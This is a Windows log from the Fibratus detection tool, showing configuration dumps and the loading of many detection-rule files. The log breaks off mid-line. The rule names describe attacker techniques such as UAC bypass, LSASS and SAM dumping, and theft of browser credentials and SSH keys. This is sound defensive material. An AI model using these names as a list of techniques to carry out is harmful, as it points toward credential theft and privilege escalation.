C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T22:15:18+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T22:15:18+01:00 level=info msg=bootstrapping with pid 15592. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T22:15:18+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ content-type=>text/html to=>[] port=>25 enabled=>false use-template=>true] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-pe=>false serialize-threads=>false serialize-images=>false] + eventsource .................... [ enable-net=>true enable-handle=>false enable-image=>true max-buffers=>36 enable-fileio=>true flush-interval=>1s min-buffers=>16 enable-mem=>false enable-thread=>true enable-audit-api=>true enable-dns=>false enable-vamap=>true enable-registry=>true enable-threadpool=>false stack-enrichment=>true buffer-size=>512 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]]] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-size=>100 formatter=>text max-age=>0 max-backups=>15 log-stdout=>true] + output ......................... [ elasticsearch=>[ healthcheck=>true servers=>[http://127.0.0.1:9200] template-name=>fibratus gzip-compression=>false sniff=>false bulk-workers=>1 timeout=>5s enabled=>false index-name=>fibratus healthcheck-timeout=>5s healthcheck-interval=>10s trace-log=>false flush-period=>1s] amqp=>[ delivery-mode=>transient vhost=>/ enabled=>false url=>amqp://localhost:5672 exchange=>fibratus routing-key=>fibratus passive=>false timeout=>5s durable=>false tls-insecure-skip-verify=>false exchange-type=>topic] http=>[ tls-insecure-skip-verify=>false enabled=>false serializer=>json enable-gzip=>false endpoints=>[] method=>POST timeout=>5s] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ read-resources=>false enabled=>false read-sections=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-files=>false skip-registry=>false skip-mmaps=>false enabled=>false scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] skip-allocs=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-25T22:15:19+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T22:15:21+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T22:15:36+01:00 level=error msg=unable to parse PE exports for module [C:\Users\nedo\AppData\Local\Temp\osk.exe]: open C:\Users\nedo\AppData\Local\Temp\osk.exe: The system cannot find the file specified. source=symbolize/symbolizer.go:246 +time=2025-11-25T22:16:18+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T22:16:19+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T22:16:19+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T22:17:51+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T22:17:51+01:00 level=info msg=bootstrapping with pid 15556. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T22:17:51+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ content-type=>text/html to=>[] use-template=>true enabled=>false port=>25] slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-threads=>false serialize-images=>false serialize-handles=>false] + eventsource .................... [ enable-thread=>true buffer-size=>512 enable-net=>true enable-audit-api=>true max-buffers=>36 enable-dns=>false enable-mem=>false enable-handle=>false enable-threadpool=>false flush-interval=>1s stack-enrichment=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-fileio=>true enable-registry=>true enable-vamap=>true min-buffers=>16 enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text log-stdout=>true max-backups=>15 max-age=>0 max-size=>100 level=>info] + output ......................... [ elasticsearch=>[ template-name=>fibratus trace-log=>false healthcheck-timeout=>5s enabled=>false gzip-compression=>false index-name=>fibratus bulk-workers=>1 timeout=>5s flush-period=>1s servers=>[http://127.0.0.1:9200] sniff=>false healthcheck=>true healthcheck-interval=>10s] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] eventlog=>[ enabled=>false level=>info] http=>[ timeout=>5s serializer=>json enabled=>false method=>POST endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false] amqp=>[ exchange-type=>topic exchange=>fibratus url=>amqp://localhost:5672 tls-insecure-skip-verify=>false vhost=>/ routing-key=>fibratus passive=>false delivery-mode=>transient enabled=>false durable=>false timeout=>5s]] + pe ............................. [ read-resources=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] skip-registry=>false skip-files=>false skip-allocs=>false fastscan=>true excluded-procs=>[] enabled=>false skip-mmaps=>false scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-25T22:17:51+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T22:17:54+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T22:23:06+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T22:23:06+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T22:23:07+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T22:24:52+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T22:24:52+01:00 level=info msg=bootstrapping with pid 4232. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T22:24:52+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ port=>25 enabled=>false to=>[] use-template=>true content-type=>text/html] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-threads=>false serialize-handles=>false serialize-images=>false] + eventsource .................... [ enable-handle=>false flush-interval=>1s enable-net=>true enable-fileio=>true enable-threadpool=>false min-buffers=>16 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] buffer-size=>512 enable-dns=>false enable-vamap=>true enable-mem=>false stack-enrichment=>true enable-thread=>true enable-image=>true enable-audit-api=>true max-buffers=>36 enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-size=>100 level=>info log-stdout=>true max-backups=>15 max-age=>0] + output ......................... [ elasticsearch=>[ healthcheck=>true enabled=>false flush-period=>1s sniff=>false healthcheck-interval=>10s index-name=>fibratus gzip-compression=>false servers=>[http://127.0.0.1:9200] bulk-workers=>1 template-name=>fibratus timeout=>5s trace-log=>false healthcheck-timeout=>5s] amqp=>[ tls-insecure-skip-verify=>false exchange-type=>topic url=>amqp://localhost:5672 passive=>false durable=>false routing-key=>fibratus delivery-mode=>transient vhost=>/ timeout=>5s exchange=>fibratus enabled=>false] http=>[ tls-insecure-skip-verify=>false method=>POST serializer=>json timeout=>5s enable-gzip=>false enabled=>false endpoints=>[]] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ enabled=>false read-sections=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ skip-registry=>false excluded-files=>[] fastscan=>true scan-timeout=>10s excluded-procs=>[] skip-files=>false skip-mmaps=>false enabled=>false skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-25T22:24:52+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T22:24:54+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T22:25:12+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T22:25:12+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T22:25:12+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T22:25:19+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T22:25:19+01:00 level=info msg=bootstrapping with pid 19292. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T22:25:19+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ port=>25 content-type=>text/html to=>[] enabled=>false use-template=>true] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ enable-fileio=>true enable-handle=>false enable-dns=>false stack-enrichment=>true flush-interval=>1s enable-registry=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-image=>true min-buffers=>16 buffer-size=>512 enable-thread=>true enable-net=>true enable-threadpool=>false max-buffers=>36 enable-mem=>false enable-audit-api=>true enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-age=>0 max-backups=>15 formatter=>text log-stdout=>true level=>info] + output ......................... [ elasticsearch=>[ trace-log=>false timeout=>5s healthcheck-timeout=>5s flush-period=>1s healthcheck-interval=>10s healthcheck=>true index-name=>fibratus gzip-compression=>false template-name=>fibratus enabled=>false sniff=>false bulk-workers=>1 servers=>[http://127.0.0.1:9200]] http=>[ timeout=>5s endpoints=>[] enabled=>false enable-gzip=>false method=>POST tls-insecure-skip-verify=>false serializer=>json] amqp=>[ routing-key=>fibratus url=>amqp://localhost:5672 exchange-type=>topic passive=>false tls-insecure-skip-verify=>false vhost=>/ enabled=>false exchange=>fibratus delivery-mode=>transient durable=>false timeout=>5s] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-symbols=>false read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ fastscan=>true scan-timeout=>10s skip-registry=>false skip-files=>false excluded-procs=>[] excluded-files=>[] skip-allocs=>false skip-mmaps=>false enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-25T22:25:19+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T22:25:25+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T22:25:34+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T22:25:34+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T22:25:35+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T22:33:52+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T22:33:52+01:00 level=info msg=bootstrapping with pid 10140. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T22:33:52+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ to=>[] port=>25 enabled=>false use-template=>true content-type=>text/html] eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-pe=>false serialize-images=>false serialize-handles=>false] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] max-buffers=>36 min-buffers=>16 enable-vamap=>true enable-registry=>true enable-fileio=>true enable-mem=>false enable-dns=>false stack-enrichment=>true buffer-size=>512 enable-threadpool=>false flush-interval=>1s enable-thread=>true enable-audit-api=>true enable-handle=>false enable-image=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 level=>info log-stdout=>true max-size=>100 max-backups=>15 formatter=>text] + output ......................... [ elasticsearch=>[ flush-period=>1s bulk-workers=>1 healthcheck-timeout=>5s healthcheck-interval=>10s healthcheck=>true servers=>[http://127.0.0.1:9200] enabled=>false index-name=>fibratus sniff=>false gzip-compression=>false template-name=>fibratus timeout=>5s trace-log=>false] http=>[ enable-gzip=>false endpoints=>[] tls-insecure-skip-verify=>false method=>POST enabled=>false timeout=>5s serializer=>json] amqp=>[ passive=>false durable=>false enabled=>false exchange=>fibratus tls-insecure-skip-verify=>false exchange-type=>topic routing-key=>fibratus timeout=>5s delivery-mode=>transient vhost=>/ url=>amqp://localhost:5672] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ skip-files=>false excluded-files=>[] enabled=>false scan-timeout=>10s skip-allocs=>false skip-mmaps=>false excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-25T22:33:53+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T22:33:55+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T22:43:30+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T22:43:30+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T22:43:31+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T22:43:50+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T22:43:50+01:00 level=info msg=bootstrapping with pid 18880. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T22:43:50+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false sound=>true enabled=>false] mail=>[ content-type=>text/html port=>25 enabled=>false to=>[] use-template=>true] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ buffer-size=>512 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] stack-enrichment=>true enable-vamap=>true enable-dns=>false enable-threadpool=>false min-buffers=>16 enable-handle=>false enable-mem=>false enable-net=>true enable-image=>true enable-audit-api=>true enable-thread=>true enable-registry=>true enable-fileio=>true flush-interval=>1s max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 max-size=>100 formatter=>text log-stdout=>true level=>info max-backups=>15] + output ......................... [ console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] amqp=>[ passive=>false enabled=>false vhost=>/ url=>amqp://localhost:5672 routing-key=>fibratus timeout=>5s delivery-mode=>transient exchange-type=>topic durable=>false exchange=>fibratus tls-insecure-skip-verify=>false] elasticsearch=>[ bulk-workers=>1 timeout=>5s healthcheck=>true healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] gzip-compression=>false sniff=>false trace-log=>false template-name=>fibratus enabled=>false flush-period=>1s index-name=>fibratus healthcheck-timeout=>5s] http=>[ tls-insecure-skip-verify=>false timeout=>5s serializer=>json enable-gzip=>false enabled=>false method=>POST endpoints=>[]] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-symbols=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true skip-files=>false skip-registry=>false skip-mmaps=>false excluded-procs=>[] scan-timeout=>10s enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T22:43:50+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T22:43:54+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T22:44:27+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T22:44:27+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T22:44:28+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T22:53:25+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T22:53:25+01:00 level=info msg=loading rule from 